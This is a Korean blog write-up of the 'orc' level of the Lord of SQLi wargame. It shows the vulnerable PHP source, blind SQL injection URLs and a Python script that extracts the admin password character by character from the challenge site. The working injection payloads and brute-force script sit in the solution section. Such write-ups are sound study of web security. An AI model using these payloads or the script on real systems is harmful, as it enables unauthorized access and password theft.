[LOS] 4. Orc

고둑·2021년 7월 11일
0

LoS

목록 보기
4/21
post-thumbnail

힌트

  • 결국은 비밀번호를 알아야 문제를 풀 수 있다.
  • blind sql injection 사용

풀이

코드 해석

<?php 
  include "./config.php"; 
  login_chk(); 
  dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if($result['id']) echo "<h2>Hello admin</h2>"; 
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc"); 
  highlight_file(__FILE__); 
?>

이 문제는 처음 보는 사람은 매우 당황 할 수 도 있다. 기존의 문제처럼은 해결이 안 되기 때문이다.
5번째 줄부터 9번째 줄까지를 첫 번째 쿼리문 10번째 줄부터 13번쨰 줄까지를 두 번째 쿼리문이라고 하면 첫 번째 쿼리문 통과까지는 기존의 인젝션 공격으로 우회 가능하나 두 번째 쿼리문에서 막히게 된다.
특히 두 번째 쿼리문에서 마지막 줄을 보게 되면 두 번째 쿼리문 시작에서 get 방식으로 받은 초기pw값에 addslash()를 거친 pw값이 존재해야 하고 초기 pw값과 값이 같아야 한다.

따라서 한마디로 비밀번호를 직접 찾지 않는 이상 해결이 많이 힘들 거 같다.
이런 경우 우리는 블라인드 SQL 인젝션을 이용할 수 있다.
첫 번째 쿼리문의 결과를 이용하여 비밀번호의 길이를 알아내고 각각의 자릿수를 찾아낼 수 있다.

문제 풀이

blind SQL injection

먼저 비밀번호를 찾기 전에 비밀번호가 몇 자리인지를 먼저 알아내야 한다.
MySQL에 존재하는 length()라는 함수를 이용하면 pw의 길이를 알아낼 수 있다.

따라서 길이를 알아내려면 기존과 같이 or로 연결하고 length(pw)= (랜덤 숫자)를 참으로 만들면 페이지에 hello admin이라고 나오게 되는데 이 반응을 보고 비밀번호를 찾으면 된다.

따라서 해보면
https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw=%27||length(pw)=%278
에서 참값이 나온 것을 알 수 있다. 따라서 비밀번호는 8자리이다.

이제 8자리 비밀번호에서 한자리 한 자리 찾아야 한다
substring이라는 함수를 이용하면 문자열에서 한 글자씩 자를 수 있다.
하지만 MySQL 문법상 대문자와 소문자가 구별이 안 된다. 하지만 PHP상에서 검사를 할 때는 대소문자를 구별한다. 따라서 이 점을 명심해야 한다. 이런 경우 ascii()함수를 이용하여 대소문자의 구별이 가능하다.

한마디로 pw파라미터에 ascii(substring(pw,1,1))값을 한 개씩 찾아 나가면 된다는 소리다. 참의 판단은 hello admin의 유무로 판단하면 된다.

이걸 직접 노가다로 구해도 되지만 이왕 머리 쓰는 거 좀 더 써서 파이썬으로 자동화를 하면

# -*- coding: utf-8 -*-
import urllib.request

answer = ""
user_agent = "MMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"

for i in range(1, 9): #비번 길이가 8
    try:
        for j in range(33, 128): #출력 가능한 아스키 코드의 범위(나머지는 NULL같은 제어문자)
            url = 'https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw=a%27+or+id%3d%27admin%27+and+ascii(substring(pw,'
            url = url + str(i) + ',1))=' + str(j) + '--+'

            print(url)

            req = urllib.request.Request(url) #url 입력하고 엔터 치기전 상태
            req.add_header('User-agent', user_agent) #헤더값 추가(안하면 los가 뱉어내서 추가함)
            req.add_header("Cookie", "PHPSESSID=세션쿠키값") #헤더값 추가 (로그인 계정 파악용)

            res = urllib.request.urlopen(req) #위에 url 입력한 상태에 해더 추가하고 엔터 누른 효과
            data = res.read().decode('utf-8') #본문 가저와서 data에 utf-8로 저장 (utf-8 안쓰면 한국어가 깨질 수 있음)

            if data.find('<h2>Hello admin</h2>') != -1: #본문에서 hello admin 찾으면 (아래 소스 코드의 hello admin과의 구별을 위하여 <h2>태그까지 적음)
                print(chr(j)) #숫자를 아스키 코드에 매칭되는 문자로 바꾸고 출력
                answer = answer + chr(j) #정답에 한글자씩 추가
                break #반복문 탈출
    except Exception as e:
        continue

print(answer)

위와 같은 코드가 나온다.
여기에서 세션 쿠키값은 여기에서 보면 된다.
user_agent값은 구글에 찾아보면 바로 나온다.

코드에 관하여 설명은 주석을 달아놨다.

위와 같은 코드를 돌려보면 비밀번호는 095a9852가 나온다.

https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw=095a9852

profile
문워킹은 하지말자

0개의 댓글